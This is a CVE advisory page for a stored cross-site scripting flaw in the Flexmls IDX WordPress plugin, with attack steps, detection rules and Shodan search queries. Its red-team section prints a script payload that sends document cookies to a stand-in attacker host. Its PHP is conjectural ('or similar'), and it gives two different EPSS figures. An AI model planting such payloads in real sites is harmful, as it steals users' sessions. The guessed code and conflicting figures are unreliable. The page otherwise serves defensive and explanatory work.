☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Flexmls logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-10552

CVE-2024-10552 Cross-Site Scripting in Flexmls
📅 PUBLISHED: 2025-01-25 06:40 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10552 is a Stored Cross-Site Scripting (XSS) vulnerability in the Flexmls® IDX Plugin for WordPress, affecting all versions up to and including 3.14.26. The vulnerability resides in the api_key and api_secret parameters, which are insufficiently sanitized and escaped. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute when any user accesses the compromised page. A partial patch was released in version 3.14.25, but the vulnerability remains exploitable in later versions up to 3.14.26. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for WordPress sites with multiple contributors.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Flexmls® IDX Plugin is distributed via the WordPress Plugin Directory and is not part of NPM, PyPI, Go, or Ruby registries. No supply chain compromise has been reported, but the partial patch status suggests incomplete remediation, which could lead to future exploitation.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is Medium due to the requirement for authenticated access, but the potential for widespread impact on WordPress sites with multiple users makes it a priority for patching.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress plugin context. The api_key and api_secret parameters are used to configure the Flexmls IDX service. When an authenticated user with Contributor-level access or higher saves these parameters, the plugin fails to sanitize the input and escape the output. This allows an attacker to inject malicious JavaScript, HTML, or other web scripts.

Attack Flow:

  1. Attacker logs in with Contributor-level credentials.
  2. Navigates to the plugin settings page.
  3. Injects a payload (e.g., <script>alert('XSS')</script>) into the api_key or api_secret field.
  4. The payload is stored in the WordPress database.
  5. When any user (including admins) visits a page that displays these parameters (e.g., settings page or frontend IDX listings), the script executes.

The partial patch in 3.14.25 likely addressed some input vectors but left others unpatched, as the vulnerability persists in 3.14.26.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.14.26):

// In flexmls-idx.php or similar
$api_key = $_POST['api_key'];
update_option('flexmls_api_key', $api_key);
// Output without escaping
echo "<input type='text' value='" . $api_key . "' />";

Patched Code (Partial in 3.14.25):

// Patched version may use esc_attr() or sanitize_text_field()
$api_key = sanitize_text_field($_POST['api_key']);
update_option('flexmls_api_key', $api_key);
echo "<input type='text' value='" . esc_attr($api_key) . "' />";

The partial patch likely added esc_attr() for output escaping but may have missed other contexts (e.g., JavaScript event handlers or HTML attributes). The full patch is unknown.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • WordPress site with Flexmls® IDX Plugin <= 3.14.26.
  • Valid user account with Contributor-level access or higher.

Exploitation Steps:

  1. Log in to WordPress as a Contributor.
  2. Navigate to the Flexmls IDX settings page (e.g., /wp-admin/admin.php?page=flexmls-settings).
  3. In the api_key field, inject a payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the settings.
  5. When an admin or other user visits the settings page, the script executes, exfiltrating cookies.

Alternative Payload:

<img src=x onerror=alert(1)>

Blue Team (Defender)

Detection:

  • Monitor for unusual changes to the api_key or api_secret options in the WordPress database.
  • Look for HTTP requests to unknown domains from the WordPress admin panel.
  • Use the detection rules below.

Mitigation:

  • Immediately update to the latest patched version (if available) or apply a virtual patch via WAF.
  • Restrict Contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/flexmls-idx/flexmls-idx.php (version <= 3.14.26)
  • Database Option: flexmls_api_key or flexmls_api_secret containing script tags.
  • Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin IPs.
  • Logs: WordPress debug logs showing wp_options updates with suspicious values.

Detection Engineering

YARA Rule

rule CVE_2024_10552_Flexmls_XSS {
    meta:
        description = "Detects stored XSS payloads in Flexmls IDX plugin options"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-10552"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Flexmls IDX Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via api_key or api_secret parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        Source: WordPress
        Message|contains:
            - 'api_key'
            - 'api_secret'
        Message|re: '<script|onerror|onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10552 - Stored XSS in Flexmls IDX Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin.php"; http_uri;
    content:"api_key"; http_client_body;
    pcre:"/<script|<img[^>]+onerror|<svg[^>]+onload/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-10552;
)

Remediation & Mitigation

  1. Immediate: Upgrade to the latest version of Flexmls® IDX Plugin (if a full patch is released). If not, apply a virtual patch using a Web Application Firewall (WAF) to block XSS payloads in api_key and api_secret parameters.
  2. Short-term: Restrict Contributor-level access to only trusted users. Implement Content Security Policy (CSP) headers to prevent inline script execution.
  3. Long-term: Conduct a full code audit of the plugin to identify and fix all XSS vectors. Encourage the vendor to release a complete patch.
  4. Monitoring: Enable WordPress debug logging and monitor for suspicious option updates. Use the provided detection rules.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Flexmls"
http.html:"flexmls-idx"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10552/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.